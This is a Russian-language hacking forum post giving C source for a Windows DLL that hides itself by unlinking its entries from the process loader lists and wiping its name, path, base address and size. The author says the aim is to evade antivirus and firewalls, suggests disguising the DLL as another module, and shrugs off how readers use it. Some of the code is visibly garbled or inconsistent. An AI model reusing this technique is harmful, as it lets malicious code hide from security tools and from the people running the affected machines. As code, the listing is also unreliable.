05.04.2020, 03:18 | #1 |
Залётный
Регистрация: 05.04.2020
Сообщений: 4
|
Метод сокрытия подгруженной dll
Усовершенствованный метод сокрытия подгруженной dll в изложении на C для новых ОС семейства Windows
Usermode Hide dll metod in 'C' advanced for new family OS Windows Storage; RET; Sysenter Я поместил весь код в один файл, что бы не париться и не оформлять потом в виде отдельной статьи, ибо время - деньги если у нас их нет, мы возьмем их у вас (шутка). Все что я здесь накодил - только для изучения стойкости систем защиты от вирусов и других вредных для нас программ и т.д. Как вы будете это применять мне абсолютно все равно, ибо cogitations poenam nemo patitur. К написанию данного примера, меня подтолкнула неспособность старых методов скрывать dll из списка загруженных модулей процесса в новых ОС семейства Windows, а именно фатальные ошибки, возникающие при попытках изменения циклических структур LIST_ENTRY.Blink, очевидно связанные с изменением производителями ядра самих этих структур. Поэтому используемые структуры максимально урезаны для данного применения. Наша цель - произвести изменения системной памяти родительского процесса, физически находящейся в его адресном пространстве между памятью выделенной под стек главного потока и начальным адресом проекции файла unicode.nls с целью уничтожения следов о загрузке нашей dll в память этого процесса, которые там оставил загрузчик ядра Windows. Привилегии отладчика нам для этого не нужны. Приступим к делу, пока ребята из Microsoft или чего нибудь не придумали нового. #pragma once #define _WIN32_WINNT 0x501 #include <windows.h> //Укорачиваем машинный код, за счет секций и выкидываем по-возможности msvcrt //We abbreviate computer code, to account of sections and miscarry msvcrt //#pragma comment(linker, "/ENTRYllMain") //<-можно раскомментировать в последствии #pragma comment(linker, "/SECTION:.text,EWRX") #pragma comment(linker, "/MERGE:.rdata=.data") #pragma comment(linker, "/MERGE:.text=.data") /*Объявляем структуры (некоторые сильно урезанные для наших целей) We Declare structures (some powerfully pared for our whole) Назначение структур хорошо понятно из их названий и содержания*/ typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; //<-pared } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; //<-pared }PEB,*PPEB; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _TEB { NT_TIB Tib; PVOID EnvironmentPointer; CLIENT_ID Cid; PVOID ActiveRpcInfo; PVOID ThreadLocalStoragePointer; PPEB Peb; //<-pared }PTEB; /*Прототип функции получения указателя на TEB из ntdll Function of reception of pointer on TEB from ntdll*/ typedef PTEB (NTAPI* GetCurrentNTTeb)(void); //Сама наша функция void DllHide(HANDLE hDLL) { PTEB TEB1; PEB* PEB1; LIST_ENTRY LIST_ENTRY1; PEB_LDR_DATA* PEB_LDR_DATA1; LDR_MODULE* LDR_MODULE1; /*Получаем указатель на PEB, это можно сделать 3-я методами Метод 1(самый простой) : __asm { mov eax, fs:[30h] mov PEB1, eax } Метод 2: __asm { mov eax, fs:[18h] mov TEB1, eax } PEB1=TEB1.Peb;*/ //Метод 3 (стандартными средствами натива=>,более-менее): GetCurrentNTTeb NtGetTEB = NULL; Или сразу NtGetPEB NtGetTEB = (GetCurrentNTTeb)GetProcAddress(GetModuleHandle("n tdll.dll"), "NtCurrentTeb"); TEB1=NtGetTEB(); PEB1=TEB1.Peb; //Получаем указатель на структуру, оставленную загрузчиком ядра PEB_LDR_DATA1=PEB1->LoaderData; /*Получаем указатель на первый список загруженных модулей он всегда описывает ntdll.dll*/ LIST_ENTRY1=PEB_LDR_DATA1->InLoadOrderModuleList; /*Перечисляем списки, пока LDR_MODULE1->BaseAddress не совпадет с адресом загрузки нашей dll (здесь можно ускорить и так быстрый процесс, но это оставлю вам дебилам кто это читает)*/ do{ LIST_ENTRY1=*LIST_ENTRY1.Flink; LDR_MODULE1=(_LDR_MODULE *)LIST_ENTRY1.Flink; }while(LDR_MODULE1->BaseAddress!=hDLL); /*Подчищаем структуры, связанные с нашей dll здесь код немного растянут для понимаемости*/ MessageBox(NULL,"Вхождение найдено, после \n нажатия OK dll скроется","2008(c)RET",MB_OK); LIST_ENTRY* LIST_ENTRY2; LIST_ENTRY* LIST_ENTRY3; LIST_ENTRY3=LIST_ENTRY1.Flink; LIST_ENTRY2=LIST_ENTRY1.Blink; *LIST_ENTRY2->Flink=*LIST_ENTRY3; /*Дальше, начиная с XP SP2 не работает: LIST_ENTRY3=LIST_ENTRY1.Blink; LIST_ENTRY2=LIST_ENTRY1.Flink; *LIST_ENTRY2->Blink=*LIST_ENTRY3;*/ //Продолжаем LIST_ENTRY1=LDR_MODULE1->InMemoryOrderModuleList; LIST_ENTRY3=LIST_ENTRY1.Flink; LIST_ENTRY2=LIST_ENTRY1.Blink; *LIST_ENTRY2->Flink=*LIST_ENTRY3; /*Дальше, начиная с XP SP2 не работает: LIST_ENTRY3=LIST_ENTRY1.Blink; LIST_ENTRY2=LIST_ENTRY1.Flink; *LIST_ENTRY2->Blink=*LIST_ENTRY3;*/ /*Практически все, нас уже не видно в ProcessExplorer,Task Explorer, даже в Microsoft ListDlls, а вот в каком то-там Starter видно!!! А все это потому, что мы удалили вхождения, а вот дескриптор оставили*/ //Затираем дескриптор (для наглядности через ZeroMemory) RtlZeroMemory(&LDR_MODULE1->BaseAddress,sizeof(DWORD)); /*Практически все, нас нет, но мы работаем, и думая о будущем наших фаеров и антивирусов все же подчистим за собой мусор, а именно удалим от греха всю информацию о нашей dll из контекста*/ //Чистим путь к нашей dll RtlZeroMemory(&LDR_MODULE1->FullDllName,sizeof(UNICODE_STRING)); //Чистим имя нашей dll RtlZeroMemory(&LDR_MODULE1->BaseDllName,sizeof(UNICODE_STRING)); //Чистим дату создания нашей dll RtlZeroMemory(&LDR_MODULE1->TimeDateStamp,sizeof(DWORD)); //Чистим размер отображения нашей dll RtlZeroMemory(&LDR_MODULE1->SizeOfImage,sizeof(DWORD)); /*Если захотите можете замаскировать свою dll под какую-либо другую, заменив в LDR_MODULE вышеперечисленное чем-то своим*/ } //Только для примера//For examples DWORD WINAPI BEEPER(LPVOID hDll) { //пример вызова DllHide(hDll); while(true){Sleep(1000); Beep(8000,50);} return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: /*Для примера таймер с бипером ч/з системный динамик правда отсюда создавать потоки не желательно Поток берется в качестве примера не случайно: Если посмотреть в списке потоков в том же Process Explorer, то мы увидим, что наш поток принадлежит якобы вовсе не нам а kernel32.dll т.к. указателя на дескриптор нашей dll в системной таблице контекста нет*/ CreateThread(NULL,0,BEEPER,(LPVOID)hModule,0,NULL) ; //For examples break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } if(hModule!=0) return true; else return false; } /*History source: -Tomasz Nowak undocumented.ntinternals.net -Sven B. Schreiber ([email protected]); -MS-Rem wasm.ru/print.php?article=fwb P.S: подумал и решил в качестве статьи отослать.*/ Telegram: @DartSidys JID: [email protected] |
Опции темы | |
Опции просмотра | |
|
|
Тема | Автор | Раздел | Ответов | Последнее сообщение |
[Куплю] Метод краша серверов | hakme | Покупка / Продажа / Обмен | 0 | 27.01.2016 23:20 |